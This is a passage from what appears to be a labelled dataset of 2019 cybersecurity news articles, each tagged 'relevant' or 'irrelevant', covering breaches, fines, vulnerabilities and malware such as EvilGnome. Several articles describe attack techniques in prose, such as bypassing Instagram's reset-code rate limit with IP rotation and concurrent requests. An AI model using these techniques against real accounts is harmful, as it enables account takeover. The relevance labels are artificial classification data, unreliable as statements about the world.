protection could detect such fileless malware attacks at each infection stage, while other file-centric security solutions fail to protect their customers. Andrea said: ""being fileless doesn't mean being invisible; it certainly doesn't mean being undetectable. There's no such thing as the perfect cybercrime: even fileless malware leaves a long trail of evidence."" To know more about the Astaroth malware, you can head on to the Cybereason blog post published in February this year, in-depth detailing about the working of the malware and its abilities.",irrelevant
"Hacker Stole Data of Over 70% Bulgarian Citizens from Tax Agency Servers Eastern European country Bulgaria has suffered the biggest data breach in its history that compromised personal and financial information of 5 million adult citizens out of its total population of 7 million people. According to multiple sources in local Bulgarian media, an unknown hacker earlier this week emailed them download links to 11GB of stolen data which included taxpayer's personal identifiable numbers, addresses, and financial data. In a brief statement released Monday, the National Revenue Agency (NRA) of Bulgaria said the stolen data originates from the country's tax reporting service. The NRA also indicated that the Ministry of the Interior and the State Agency for National Security (SANS) have started taking an assessment of the potential vulnerability in NRA's systems that attackers might have exploited to breach into its databases. It appears that until now, the hacker, who claimed to be a Russian man, has only released 57 out of a total of 110 compromised databases, which is about 21GB in total. In a follow-up announcement, the NRA said almost 20 days ago, the attacker unauthorizedly accessed about 3 percent of the information contained in their databases. ""Currently, e-services for citizens and businesses are functioning normally, with the exception of the VAT refund service paid abroad, as well as by the revenue office. Unregulated access to sensitive information is limited,"" the NRA said. As consequences of the incident, Bulgaria's NRA tax agency is now facing a fine of up to 20 million euros ($22.43 million) or 4% of the agency's annual turnover over the data breach, said Prof. Veselin Tselkov, a member of the Commission for Personal Data Protection. Suspected ""White Hat"" Hacker Arrested Bulgarian police have also arrested a 20-year-old ""white-hat hacker"" as the main suspect for the NRA data breach after authorities raided his home and office in the capital Sofia and seized his computers containing encrypted data, according to a local media. The arrested suspect, Christian Boykov, is a cybersecurity expert who has been training officers of the GCDPC for fighting organized cybercrime. Boykov was in the news two years ago, when he found a vulnerability in the website of the Ministry of Education and Science (MES) and contacted ""Lords of the Air,"" a popular TV show to tell the story only after the ministry ignored his initial disclosure. After that incident, Boikov was hired as an ethical hacker by the global cybersecurity company ""TAD Group,"" and at the moment of arrest, he was an employee of the company, where his job responsibility was to pentest the systems in the state agencies and private companies for potential vulnerabilities. Since the investigation is still ongoing, at this moment, it's not clear if he is behind the NRA data breach. However, the Sofia City Prosecutor's Office accused Boykov of unauthorized access to a computer system that is part of the critical infrastructure of the state. His lawyers say there is no evidence against the boy, but if proven guilty, Boikov—who has no past criminal record—could face up to 8 years in prison.",irrelevant
"Ubuntu-Maker Canonical's GitHub Account Gets Hacked An unknown hacker yesterday successfully managed to hack into the official GitHub account of Canonical, the company behind the Ubuntu Linux project and created 11 new empty repositories. It appears that the cyberattack was, fortunately, just a ""loud"" defacement attempt rather than a ""silent"" sophisticated supply-chain attack that could have been abused to distribute modified malicious versions of the open-source Canonical software. In a statement, David from Canonical confirmed that attacker(s) used a Canonical owned GitHub account whose credentials were compromised to unauthorizedly access Canonical's Github account. ""We can confirm that on 2019-07-06 there was a Canonical owned account on GitHub whose credentials were compromised and used to create repositories and issues among other activities,"" David said. ""Canonical has removed the compromised account from the Canonical organization in GitHub and is still investigating the extent of the breach, but there is no indication at this point that any source code or PII was affected."" canonical ubuntu github hacked David also confirmed that since the company now uses Launchpad hosting platform to build and maintain Ubuntu distributions, unauthorized changes on its Github account doesn't affect its popular and widely-used Linux operating system and its million of users. ""Furthermore, the Launchpad infrastructure where the Ubuntu distribution is built and maintained is disconnected from GitHub, and there is also no indication that it has been affected,"" David added. ""We plan to post a public update after our investigation, audit, and remediations are finished. Thank you, your trust in Canonical is important to us, which is why we take privacy and security a priority."" The company is currently reviewing the source code available on GitHub to investigate the extent of the breach and have promised to share more details about the incident shortly. Last year, GitHub account of Gentoo Linux distribution was also hacked using password-guessing attack, and attackers successfully managed to replace the content of its repositories and pages with malware. Stay tuned for more information on this incident.",irrelevant
"Capital One Data Breach Affects 106 Million Customers; Hacker Arrested Another week, another massive data breach. Capital One, the fifth-largest U.S. credit-card issuer and banking institution, has recently suffered a data breach exposing the personal information of more than 100 million credit card applicants in the United States and 6 million in Canada. The data breach that occurred on March 22nd and 23rd this year allowed attackers to steal information of customers who had applied for a credit card between 2005 and 2019, Capital One said in a statement. However, the security incident only came to light after July 19 when a hacker posted information about the theft on her GitHub account. The FBI Arrested the Alleged Hacker The FBI arrested Paige Thompson a.k.a erratic, 33, a former Amazon Web Services software engineer who worked for a Capital One contractor from 2015 to 2016, in relation to the breach, yesterday morning and seized electronic storage devices containing a copy of the stolen data. Thompson appeared in U.S. District Court on Monday and was charged with computer fraud and abuse, which carries up to five years in prison and a $250,000 fine. A hearing has been scheduled for August 1, 2019. According to court documents [PDF], Thompson allegedly exploited a misconfigured firewall on Capital One's Amazon Web Services cloud server and unauthorizedly stole more than 700 folders of data stored on that server sometime in March. ""Capital One quickly alerted law enforcement to the data theft — allowing the FBI to trace the intrusion,"" U.S. Attorney Moran said. ""I commend our law enforcement partners who are doing all they can to determine the status of the data and secure it."" It is important to note that Amazon Web Services was not compromised in any way since the alleged hacker gained access to the cloud server due to Capital One's misconfiguration and not through a vulnerability in Amazon's infrastructure. Number of Customers and Types of Information Affected The compromised data includes approximately 140,000 Social Security numbers and 80,000 bank account numbers linked to American customers, and 1 million Canadian Social Insurance numbers. Besides this, some customers' names, addresses, dates of birth, credit scores, credit limits, balances, payment history, and contact information were also compromised in the security breach. However, in a statement released on Monday, Capital One assured its customers that ""no credit card account numbers or log-in credentials were compromised"" and that more than 99% of the Social Security numbers that the company has on file weren't affected. ""Capital One immediately fixed the configuration vulnerability that this individual exploited and promptly began working with federal law enforcement,"" Capital One said. ""The FBI has arrested the person responsible. Based on our analysis to date, we believe it is unlikely that the information was used for fraud or disseminated by this individual."" The company also said it will notify the affected customers and will provide free credit monitoring services to those affected.",irrelevant
"DDoS Attacker Who Ruined Gamers' Christmas Gets 27 Months in Prison A 23-year-old hacker from Utah who launched a series of DDoS attacks against multiple online services, websites, and online gaming companies between December 2013 and January 2014 has been sentenced to 27 months in prison. Austin Thompson, a.k.a. ""DerpTroll,"" pledged guilty back in November 2018 after he admitted to being a part of DerpTrolling, a hacker group that was behind DDoS attacks against several major online gaming platforms including Electronic Arts' Origin service, Sony PlayStation network, and Valve Software's Steam during Christmas. ""Thompson typically used the Twitter account @DerpTrolling to announce that an attack was imminent and then posted ""scalps"" (screenshots or other photos showing that victims' servers had been taken down) after the attack,"" the DoJ says. According to a U.S. Department of Justice press release published Wednesday, Thompson's actions caused the victim companies at least $95,000 in damages. The defendant was arrested in summer last year. In addition to the prison sentence, the DoJ has also ordered the defendant to pay $95,000 in restitution to Daybreak Games, formerly Sony Online Entertainment. Thompson is currently free on bond and has been ordered to surrender to authorities on 23rd August 2019 in order to begin his sentence. ""Denial-of-service attacks cost businesses and individuals millions of dollars annually,"" US Attorney Robert Brewer said. ""We are committed to prosecuting hackers who intentionally disrupt internet access."" However, it wasn't just DerpTrolling that created chaos in 2014 by disrupting online gaming servers owned by Sony, Microsoft, Riot Games, Nintendo, Valve, and Electronic Arts. Lizard Squad, an infamous hacking group, also made headlines in year 2014 by launching DDoS attacks against Microsoft's Xbox Live and Sony's PlayStation Network and knocking them offline during the Christmas holidays. Several teenagers have since been arrested and charged around the world for participating in the Lizard Squad 2014 DDoS attacks. Julius Kivimaki, one of the Lizard Squad members who was arrested by Finnish authorities in late 2014, was convicted in Finland in July 2015, receiving a suspended prison sentence of two years for his actions.",irrelevant
"Ransomware Attack Caused Power Outages in the Biggest South African City Yesterday, some residents of Johannesburg, the largest city in South Africa, were left without electricity after the city's power company got attacked by a ransomware virus. City Power, the company responsible for powering South Africa's financial capital Johannesburg, confirmed Thursday on Twitter that it had been hit by a Ransomware virus that had encrypted all of its databases, applications, and network. The attack prevented prepaid customers from buying electricity units, upload invoices when making payments, or access the City Power's official website, eventually leaving them without power. ""Please note that the virus hit us early Thursday morning, compromising our database and other software, impacting most of our applications and networks,"" the city government said in a tweet. However, the company has also ensured its customers that none of their details were compromised in the cyber attack. At the time of writing, the company confirmed they have restored electricity supply in many areas and also most of the critical applications, including the prepaid vending system responsible for enabling its customers to buy electricity. However, customers seeking to access the City Power website to log faults are still not able to do so. They are requested to log calls by their mobile phones using citypower.mobi. Depending on the type and severity of the cyberattack, it is believed that the complete clean up of the affected services and networks could take weeks. Also, it could cost millions of dollars—just like the City of Baltimore recently spent $5,310,546 in hiring security consultant firms and upgrading its infrastructure following a ransomware attack that shut down the majority of its servers. The city government did not provide any details on the type of ransomware virus that hit the power company, or if the company has a backup for critical files encrypted by the malware. ""Customers should not panic as none of their details were compromised,"" the city government said Thursday afternoon. ""We apologize for the inconvenience caused to the people of the City of Joburg. Please be patient with us, and we expect to have everything back in order by the end of Thursday."" Johannesburg is not the only one that was recently hit by a ransomware attack. A growing number of cities has targeted in the last few months with ransomware as cybercriminals aim municipalities around the world. Last month, ransomware viruses hit two cities in Florida that made large ransom payments to gain back access to city files that were encrypted in the attacks—these cities include Riviera Beach City ($600,000) and Lake City ($500,000) in Florida. However, federal authorities and cybersecurity experts have always advised victims not to pay ransoms since it encourages criminals, and also there's no guarantee of files or computer systems being completely restored. Instead of paying the ransom, organizations and companies should consider having robust backups of their important and required files and data in place as well as educating their employees to avoid being a victim of such cyber attacks.",irrelevant
"Equifax to Pay up to $700 Million in 2017 Data Breach Settlement Equifax, one of the three largest credit-reporting firms in the United States, has to pay up to $700 million in fines to settle a series of state and federal investigations into the massive 2017 data breach that exposed the personal and financial data of nearly 150 million Americans—that's almost half the country. According to an official announcement by the U.S. Federal Trade Commission (FTC) today, Equifax has agreed to pay at least $575 million in fines, but this penalty could rise to up to $700 million depending on the amount of compensation people claim. Up to $425 million of the fines will go to a fund that will provide credit monitoring services to affected customers and compensate anyone who bought such services from the company and paid other related expenses as a result of the breach. Rest $175 million and $100 million will go to civil penalties across 50 states and to the Consumer Financial Protection Bureau (CFPB), respectively. Besides the penalty, the company has also been ordered to provide all American consumers with six free credit reports each year for seven years, along with the one free annual credit report, starting from January 2020. In September 2017, Equifax suffered a massive data breach that allowed hackers to steal personal information, including names, birth dates, addresses, social security numbers, and, in some cases, driver's license numbers, of as many as 147 million people. The breach, which has been called one of the worst in American history, occurred due to failure of the company to patch a critical security vulnerability in its systems it was made aware of in March that year. ""Equifax failed to patch its network after being alerted in March 2017 to a critical security vulnerability affecting its ACIS database, which handles inquiries from consumers about their personal credit data,"" the FTC alleges. ""Even though Equifax's security team ordered that each of the company's vulnerable systems should be patched within 48 hours after receiving the alert, Equifax did not follow up to ensure the order was carried out by the responsible employees."" In fact, Equifax did not realize of its unpatched database until July 2017, when its security team detected suspicious traffic on its network, an investigation into the matter revealed that multiple hackers managed to exploit the vulnerability to gain entry to Equifax's network. Gaining access to Equifax's network allowed hackers to access an unsecured file that included administrative credentials stored in plain text, which eventually let them gain access to consumers' personal data and operate undetected on the company's network for months. ""Equifax failed to take basic steps that may have prevented the breach that affected approximately 147 million consumers,"" said FTC Chairman Joe Simons. ""This settlement requires that the company take steps to improve its data security going forward, and will ensure that consumers harmed by this breach can receive help protecting themselves from identity theft and fraud."" The FTC has set up a dedicated page on its site to provide information to customers who want to make a claim against Equifax. The commission has even set up a dedicated email (equifax@ftc.gov), encouraging Equifax employees to mail FTC if they ""believe the company is failing to adhere to its data security promises."" Last year, the UK's Information Commissioner's Office (ICO) also fined Equifax with £500,000 (over $622,000)—that's the maximum fine allowed by the UK's Data Protection Act 1998—for the 2017 data breach.",irrelevant
"Facebook to Pay $5 Billion Fine to Settle FTC Privacy Investigation After months of negotiations, the United States Federal Trade Commission (FTC) has approved a record $5 billion settlement with Facebook over its privacy investigation into the Cambridge Analytica scandal. The settlement will put an end to a wide-ranging probe that began more than a year ago and centers around the violation of a 2011 agreement Facebook made with the FTC that required Facebook to gain explicit consent from users to share their personal data. The FTC launched an investigation into the social media giant last year after it was revealed that the company allowed Cambridge Analytica access to the personal data of around 87 million Facebook users without their explicit consent. Now, according to a new report published by the Wall Street Journal, the FTC commissioners this week finally voted to approve a $5 billion settlement, with three Republicans voting to approve the deal and two Democrats against it. Facebook anticipated the fine to between $3 billion and $5 billion and already had set aside $3 billion for the fine this spring when the company released its first quarter 2019 financial earnings report. Despite all criticisms Facebook recently faced over its mishandling of users' data, the company's earnings and user base are continually increasing, with Facebook bringing in over $15 billion in revenue for the first quarter of 2019 alone. The social media network also added 39 million daily active users to its platform. Though the $5 billion fine amounts to just one month's worth of Facebook's revenue, it is the biggest fine imposed by FTC till the date, far bigger than the $22.5 million fine levied against Google in 2012 for allegedly violating an agreement to improve privacy practices. ""This fine is a fraction of Facebook's annual revenue. It won't make them think twice about their responsibility to protect user data,"" Representative David Cicilline, a Democrat and chair of a congressional antitrust panel said, calling the penalty ""a Christmas present five months early"" at Twitter. ""This reported $5 billion penalty is barely a tap on the wrist, not even a slap,"" Senator Richard Blumenthal (D-Connecticut), a Democrat, said in a statement. ""Such a financial punishment for purposeful, blatant illegality is chump change for a company that makes tens of billions of dollars every year."" The FTC has not announced the settlement deal publicly, as the agreement still needs approval from the U.S. Department of Justice. Not just FTC, UK's Information Commissioner Office (ICO) has also imposed £500,000 (over $628,000) fine on Facebook over the Cambridge Analytica scandal.",irrelevant
"Facebook Agrees to Pay $5 Billion Fine and Setup New Privacy Program for 20 Years The Federal Trade Commission (FTC) today officially confirmed that Facebook has agreed to pay a record-breaking $5 billion fine over privacy violations surrounding the Cambridge Analytica scandal. Besides the multibillion-dollar penalty, the company has also accepted a 20-year-long agreement that enforces it to implement a new organizational framework designed to strengthen its data privacy practices and policies. The agreement requires Facebook to make some major structural changes, as explained below, that will hold the company accountable for the decisions it makes about its users' privacy and information it collects on them. ""The order requires Facebook to restructure its approach to privacy from the corporate board-level down, and establishes strong new mechanisms to ensure that Facebook executives are accountable for the decisions they make about privacy and that those decisions are subject to meaningful oversight,"" the FTC said in a press release. According to the FTC, Facebook has repeatedly used deceptive disclosures and settings to undermine its users' privacy preferences in violation of its 2012 FTC order that required the social media to gain explicit consent from users to share their personal data. The newly proposed organizational framework will also cover not just Facebook's massive social media network, but also the company-owned services, including WhatsApp and Instagram. ""We've agreed to pay a historic fine, but even more important, we're going to make some major structural changes to how we build products and run this company,"" Facebook CEO Mark Zuckerberg said in a statement. ""As part of this settlement, we're bringing our privacy controls more in line with our financial controls under the Sarbanes-Oxley legislation. Our executives, including me, will have to certify that all of the work we oversee meets our privacy commitments."" ""The reason I support them is that I believe they will reduce the number of mistakes we make and help us deliver stronger privacy protections for everyone."" Facebook's New Privacy Program facebook privacy program mark zuckerberg Major changes will include: 1. Independent privacy committee — The company will be required to set-up an independent privacy committee of Facebook's board of directors who will be appointed by an independent nominating committee. According to the FTC, this measure will create greater accountability at the board of directors level, removing unfettered control by Facebook's CEO Mark Zuckerberg over decisions affecting user privacy. 2. Compliance officers — The company will be required to appoint compliance officers who will work under the new independent privacy committee and whose job will be to monitor Facebook's entire privacy program. Facebook's CEO or its employees can not control, appoint, or remove the compliance officers. It will be mandatory for compliance officers to submit compliance certificates every quarter as well as year to the FTC, ensuring that the company is running the privacy program as mandated by the order. Compliance officers will also be required to generate a quarterly privacy review report, which they must share with the CEO and the independent assessor, as well as with the FTC. FTC also warned that any false certification would subject compliance officers to individual civil and criminal penalties. 3. Strengthening external oversight of Facebook — The order also strengthen the role of independent third-party assessors who will conduct assessments of Facebook's privacy program every two years to identify gaps. Independent assessors will report directly to the new privacy board committee every quarter. FTC ordered Facebook to create a new privacy program 4. Privacy reviews — The order also enforces the company to conduct a thorough review of every new product or service that it develops. These reviews must be submitted to the company's CEO and a third-party assessor every quarter. 5. Document security incident — Facebook will need to document any incident that compromises data of 500 or more users and its efforts to address such incidents. It is required to deliver this documentation to the FTC and the assessor within 30 days of the company's discovery of the incident. 6. Strict rules for third-party apps — Following a year-long investigation, FTC finds that Facebook's poor privacy practices allowed the platform to share users' personal information with third-party apps without their explicit consent, and the company took inadequate steps to deal with any incident violating users' privacy. To fix this, the FTC has also asked Facebook to closely monitor third-party apps and how they use users' collected data, suggesting it to terminate any app developer account who fails to comply with its privacy policy or fails to justify their need for specific user data. Besides these significant changes, the order also highlights some minor requirements, including: Facebook cannot use telephone numbers for advertisements that users provide to activate security features like two-factor authentication on its platform. Under the new rules, Facebook will also be required to obtain affirmative consent from its users prior to use facial recognition technology for any new feature. Following the March 2019 incident where Facebook mistakenly stored plaintext passwords for hundreds of millions of its users and millions of Instagram users, FTC ordered Facebook to encrypt user passwords and regularly scan to detect if any passwords are stored in plaintext. In April this year, Facebook was also caught asking some newly-registered users to provide the company with the passwords to their email accounts. So, the order now prohibits Facebook from asking for passwords to other services. In a blog post published today, Facebook said it is building a new privacy program in compliance with the latest FTC requirements which will change the way Facebook handles its users' data and helpful in ""rebuilding trust with people."" ""We will adopt new approaches to more thoroughly document the decisions we make and monitor their impact. And we will introduce more technical controls to better automate privacy safeguards,"" Facebook says. Besides the FTC settlement, Facebook also resolved an ongoing investigation by the Securities and Exchange Commission (SEC) over charges of making ""misleading disclosures"" regarding the risk of abusing users' data and agreed to pay a $100 million penalty as part of the settlement.",irrelevant
"This Flaw Could Have Allowed Hackers to Hack Any Instagram Account Within 10 Minutes Watch out! Facebook-owned photo-sharing service has recently patched a critical vulnerability that could have allowed hackers to compromise any Instagram account without requiring any interaction from the targeted users. Instagram is growing quickly—and with the most popular social media network in the world after Facebook, the photo-sharing network absolutely dominates when it comes to user engagement and interactions. Despite having advanced security mechanisms in place, bigger platforms like Facebook, Google, LinkedIn, and Instagram are not completely immune to hackers and contain severe vulnerabilities. Some vulnerabilities have recently been patched, some are still under the process of being fixed, and many others most likely do exist, but haven't been found just yet. Details of one such critical vulnerability in Instagram surfaced today on the Internet that could have allowed a remote attacker to reset the password for any Instagram account and take complete control over it. Discovered and responsibly reported by Indian bug bounty hunter Laxman Muthiyah, the vulnerability resided in the password recovery mechanism implemented by the mobile version of Instagram. The ""password reset"" or ""password recovery"" is a feature that allows users to regain access to their account on a website in case they forgot their password. On Instagram, users have to confirm a six-digit secret passcode (that expires after 10 minutes) sent to their associated mobile number or email account in order to prove their identity. That means, one out of a million combinations can unlock any Instagram account using brute force attack, but it is not as simple as it sounds, because Instagram has rate-limiting enabled to prevent such attacks. However, Laxman found that this rate limiting can be bypassed by sending brute force requests from different IP addresses and leveraging race condition, sending concurrent requests to process multiple attempts simultaneously. ""Race hazard (concurrent requests) and IP rotation allowed me to bypass it. Otherwise, it wouldn't be possible. 10 minutes expiry time is the key to their rate limiting mechanism, that's why they didn't enforce permanent blocking of codes,"" Laxman told The Hacker News. As shown in the above video demonstration, Laxman successfully demonstrated the vulnerability to hijack an Instagram account by quickly attempting 200,000 different passcode combinations (20% of all) without getting blocked. ""In a real attack scenario, the attacker needs 5000 IPs to hack an account. It sounds big, but that's actually easy if you use a cloud service provider like Amazon or Google. It would cost around 150 dollars to perform the complete attack of one million codes."" Laxman has also released a proof-of-concept exploit for the vulnerability, which has now been patched by Instagram, and the company awarded Laxman with $30,000 reward as part of its bug bounty program. To protect your accounts against several types of online attacks, as well to reduce your chances of being compromised where attackers directly target vulnerable applications, users are highly recommended to enable ""two-factor authentication,"" which could prevent hackers from accessing your accounts even if they somehow manage to steal your passwords.",relevant
"iOS URL Scheme Could Let App-in-the-Middle Attackers Hijack Your Accounts Security researchers have illustrated a new app-in-the-middle attack that could allow a malicious app installed on your iOS device to steal sensitive information from other apps by exploiting certain implementations of Custom URL Scheme. By default on Apple's iOS operating system, every app runs inside a sandbox of its own, which prevent all apps installed on the same device from accessing each other's data. However, Apple offers some methods that facilitate sending and receiving very limited data between applications. One such mechanism is called URL Scheme, also known as Deep Linking, that allows developers to let users launch their apps through URLs, like facetime://, whatsapp://, fb-messenger://. For example, when you click ""Sign in with Facebook"" within an e-commerce app, it directly launches the Facebook app installed on your device and automatically process the authentication. In the background, that e-commerce app actually triggers the URL Scheme for the Facebook app (fb://) and passes some context information required to process your login. Researchers at Trend Micro noticed that since Apple does not explicitly define which app can use what keywords for their Custom URL Scheme, multiple apps on an iOS device can use single URL Scheme—which eventually could trigger and pass sensitive data to a completely different app unexpectedly or maliciously. ""This vulnerability is particularly critical if the login process of app A is associated with app B,"" the researchers said. To demonstrate this, researchers illustrated an attack scenario, as shown in the image above, using an example of a Chinese retailer app ""Suning"" and its implementation of ""Login with WeChat"" feature, explaining how it is susceptible to hacking. In Short, when the Suning app users choose to access their e-commerce account using WeChat, it generates a login-request and sends it to the WeChat app installed on the same device using the iOS URL Scheme for the messaging app. WeChat app then requests a secret login token from its server and sends it back to the Suning app for authentication. Researchers found that since Suning always uses the same login-request query to request the secret token and WeChat does not authenticate the source of the login request, the implementation is vulnerable to the app-in-the-middle attack via the iOS URL Scheme, eventually allowing attackers gain unauthorized access to users' accounts. ""With the legitimate WeChat URL Scheme, a fake-WeChat can be crafted, and Suning will query the fake one for Login-Token. If the Suning app sends the query, then the fake app can capture its Login-Request URL Scheme. ""WeChat recognizes it, but it will not authenticate the source of the Login-Request. Instead, it will directly respond with a Login-Token to the source of the request. Unfortunately, the source could be a malicious app that is abusing the Suning URL scheme."" That means, a malicious app with the same Custom URL Scheme as a targeted application can trick other apps into sharing users' sensitive data with it or can perform unauthorized actions, potentially resulting in the loss of privacy, bill fraud, or exposure to pop-up ads. ""In our research, plenty of apps that our system audited were found taking advantage of this feature to show ads to victims. Potentially malicious apps would intentionally claim the URL Scheme associated with popular apps: wechat://, line://, fb://, fb-messenger://, etc. We identified some of these malicious apps,"" the researchers said. Since the exploitability of this vulnerability totally depends upon the way a URL Scheme has been implemented, app developers and popular platforms are recommended to review their apps and validate fix for untrusted requests.",relevant
"Kazakhstan Begins Intercepting HTTPS Internet Traffic Of All Citizens Forcefully If you are in Kazakhstan and unable to access the Internet service without installing a certificate, you're not alone. The Kazakhstan government has once again issued an advisory to all major local Internet Service Providers (ISPs) asking them to make it mandatory for all their customers to install government-issued root certificates on their devices in order to regain access to the Internet services. The root certificate in question, labeled as ""trusted certificate"" or ""national security certificate,"" if installed, allows ISPs to intercept and monitor users' encrypted HTTPS and TLS connections, helping the government spy on its citizens and censor content. In other words, the government is essentially launching a ""man in the middle"" attack on every resident of the country. But how installing a ""root certificate"" allow ISPs to decrypt HTTPS connection? For those unaware, your device and web browsers automatically trust digital certificates issued by only a specific list of Certificate Authorities (CA) who have their root certificates installed on your system. Therefore compelling Internet users into installing a root certificate that belongs to a Government Organisation gives them the authority to generate valid digital certificates for any domain they want to intercept through your HTTPS traffic. Starting from April this year, Kazakh ISPs began informing their users about the ""national security certificate"" that would be mandatory to install in order to continue uninterrupted access to a list of ""allowed"" HTTPS websites. Now, Tele2, one of the major Kazakh ISPs, has finally started redirecting all HTTPS connections of its customers to a web page containing certificate files and instructions on how to install it on Windows, macOS, Android, and iOS devices. One of the most serious security implications we can easily spot here is that — since users can only browse non-HTTPS sites before installing the certificates, the Cert files are available for download only over insecure HTTP connections, which can easily allow hackers to replace Certificate files using MiTM attacks. kazakhstan trusted security certificate Other national ISPs, listed below, also have plans to start forcing their Internet users into installing the root certificate shortly to comply with the law. Beeline K-Cell Active (also lists allowed HTTPS websites) Altel Kazakhtelecom The controversial advisory has been issued with respect to amendments to the Law on Communications 2004 (the ""Communications Law"") that the Kazakhstan government passed in November 2015. According to Clause 11 of Article 26, the ""Rules for Issuing and Applying a Security Certificate,"" all national communications service providers are obliged to monitor the encrypted Internet traffic of their customers using government-issued security certificates. The law was intended to come in force starting 1 January 2016, but the Kazakhstan government failed to force the local ISPs following a series of lawsuits. It seems now the Kazakhstan government is making another attempt to force the amendments, putting privacy and security of millions of its citizens at risk from both hackers and the government itself by breaking the fundamentals of Internet security protocol. kazakhstan https certificate According to the note displayed by Internet providers, the amendments have been forced ""in connection with the frequent cases of theft of personal and credential data, as well as money from bank accounts of Kazakhstan."" ""A security certificate has been introduced that will become an effective tool for protecting the country's information space from hackers, Internet fraudsters and other types of cyber threats,"" the note reads. ""The introduction of a security certificate will also help in the protection of information systems and data, as well as identifying hackers and Internet fraudsters before they can cause damage."" ""It will also allow Kazakhstan Internet users to be protected from hacker attacks and viewing illegal content."" From these statements, it's evident that the Kazakh government wants to take control over what content their citizens should be allowed to view on the Internet and also to turn Kazakhstan into a deep surveillance state. Also, since half of the education is more dangerous than no education, I find it very concerning that ISPs are promoting ""custom CA root certificate installation"" as a better solution that boosts online security. The pages and press releases created by ISPs with instructions on ""why and how to install the government-issued certificate"" doesn't correctly explain the threat of installing a wrong root certificate. It literally leaves the majority of citizens at risk of social engineering attacks, and an opportunity for hackers to trick users into installing a malicious root cert from unofficial websites and sources. Besides this, intercepting HTTPS communications will also allow ISPs to inject advertisements or tracking scripts on all web pages users visit. At this moment, it is not clear how major tech companies and web browsers will respond to this new privacy infringement of the Kazakh citizens. We'll update the story with more information as soon as they are available.",irrelevant
"Just Opening A Document in LibreOffice Can Hack Your Computer (Unpatched) You should be extra careful about what document files you open using the LibreOffice software over the next few days. That's because LibreOffice contains a severe unpatched code execution vulnerability that could sneak malware into your system as soon as you open a maliciously-crafted document file. LibreOffice is one of the most popular and open source alternatives to Microsoft Office suite and is available for Windows, Linux and macOS systems. Earlier this month, LibreOffice released the latest version 6.2.5 of its software that addresses two severe vulnerabilities (CVE-2019-9848 and CVE-2019-9849), but the patch for the former has now been bypassed, security researcher Alex Inführ claims. Though Inführ has not yet disclosed details of the technique that allowed him to bypass the patch, the impact of this vulnerability remains the same, as explained below. 1.) CVE-2019-9848: This vulnerability, which still exists in the latest version, resides in LibreLogo, a programmable turtle vector graphics script that ships by default with LibreOffice. LibreLogo allows users to specify pre-installed scripts in a document that can be executed on various events such as mouse-over. libreoffice vulnerability exploit Discovered by Nils Emmerich, the flaw could allow an attacker to craft a malicious document that can silently execute arbitrary python commands without displaying any warning to a targeted user. ""The big problem here is that the code is not translated well and just supplying python code as the script code often results in the same code after translation,"" Emmerich said. ""Using forms and OnFocus event, it is even possible to get code execution when the document is opened, without the need for a mouse-over event."" Emmerich also released a proof-of-concept for this attack on his blog post. 2.) CVE-2019-9849: This vulnerability, which you can fix by installing the latest available update, could allow the inclusion of remote arbitrary content within a document even when 'stealth mode' is enabled. The stealth mode is not enabled by default, but users can activate it to instruct documents retrieve remote resources only from trusted locations. How to Protect Your System Install LibreOffice Inführ has already notified LibreOffice team of the bypass issue, but until the team releases a patch to fix the bypass, users are recommended to update or reinstall the software without macros or at least without LibreLogo component, by following the below-mentioned steps. Open the setup to start the installation Select ""Custom"" installation Expand ""Optional Components"" Click on ""LibreLogo"" and select ""This Feature Will Not Be Available"" Click Next and then Install the software",relevant
"A New 'Arbitrary File Copy' Flaw Affects ProFTPD Powered FTP Servers A German security researcher has publicly disclosed details of a serious vulnerability in one of the most popular FTP server applications, which is currently being used by more than one million servers worldwide. The vulnerable software in question is ProFTPD, an open source FTP server used by a large number of popular businesses and websites including SourceForge, Samba and Slackware, and comes pre-installed with many Linux and Unix distributions, like Debian. Discovered by Tobias Mädel, the vulnerability resides in the mod_copy module of the ProFTPD application, a component that allows users to copy files/directories from one place to another on a server without having to transfer the data to the client and back. According to Mädel, an incorrect access control issue in the mod_copy module could be exploited by an authenticated user to unauthorizedly copy any file on a specific location of the vulnerable FTP server where the user is otherwise not allowed to write a file. In rare circumstances, the flaw may also lead to remote code execution or information disclosure attacks. John Simpson, a security researcher at Trend Micro, told The Hacker News that to successfully achieve remote code execution on a targeted server, an attacker needs to copy a malicious PHP file to a location where it can be executed. Therefore, it's important to note that not every FTP server running vulnerable ProFTPD can be hijacked remotely, since the attacker requires log-in to the respective targeted server, or the server should have anonymous access enabled. shodan search engine The vulnerability, assigned as CVE-2019-12815, affects all versions of ProFTPd, including the latest 1.3.6 version which was released in 2017. Since the mod_copy module comes enabled by default in most operating systems using ProFTPD, the flaw could potentially affect a large number of servers. According to an advisory, the newly discovered issue is related to a 4-year-old similar vulnerability (CVE-2015-3306) in the mod_copy module that allows remote attackers to read and write to arbitrary files via the site CPFR and site CPTO commands. Mädel reported the vulnerability to ProFTPd project maintainers in September last year, but the team did not take any action to address the issue for more than 9 months. So, the researcher contacted the Debian Security Team last month, after which the ProFTPD team finally created a patch and just last week backported it to ProFTPD 1.3.6 without releasing a new version of its FTP server. As a workaround, server administrators can also disable the mod_copy module in the ProFTPd configuration file in order to protect themselves from being a victim of any attack related to this flaw.",relevant
"EvilGnome: A New Backdoor Implant Spies On Linux Desktop Users Security researchers have discovered a rare piece of Linux spyware that's currently fully undetected across all major antivirus security software products, and includes rarely seen functionalities with regards to most Linux malware, The Hacker News learned. It's a known fact that there are a very few strains of Linux malware exist in the wild as compared to Windows viruses because of its core architecture and also due to its low market share, and also many of them don't even have a wide range of functionalities. In recent years, even after the disclosure of severe critical vulnerabilities in various flavors of Linux operating systems and software, cybercriminals failed to leverage most of them in their attacks. Instead, a large number of malware targeting Linux ecosystem is primarily focused on cryptocurrency mining attacks for financial gain and creating DDoS botnets by hijacking vulnerable servers. However, researchers at security firm Intezer Labs recently discovered a new Linux backdoor implant that appears to be under development and testing phase but already includes several malicious modules to spy on Linux desktop users. EvilGnome: New Linux Spyware Dubbed EvilGnome, the malware has been designed to take desktop screenshots, steal files, capture audio recording from the user's microphone as well as download and execute further second-stage malicious modules. According to a new report Intezer Labs shared with The Hacker News prior to its release, the sample of EvilGnome it discovered on VirusTotal also contains an unfinished keylogger functionality, which indicates that it was uploaded online mistakenly by its developer. EvilGnome malware masquerades itself as a legit GNOME extension, a program that lets Linux users extend the functionality of their desktops. According to the researchers, the implant is delivered in the form of a self-extracting archive shell script created with 'makeself,' a small shell script that generates a self-extractable compressed tar archive from a directory. The Linux implant also gains persistence on a targeted system using crontab, similar to windows task scheduler, and sends stolen user data to a remote attacker-controlled server. ""Persistence is achieved by 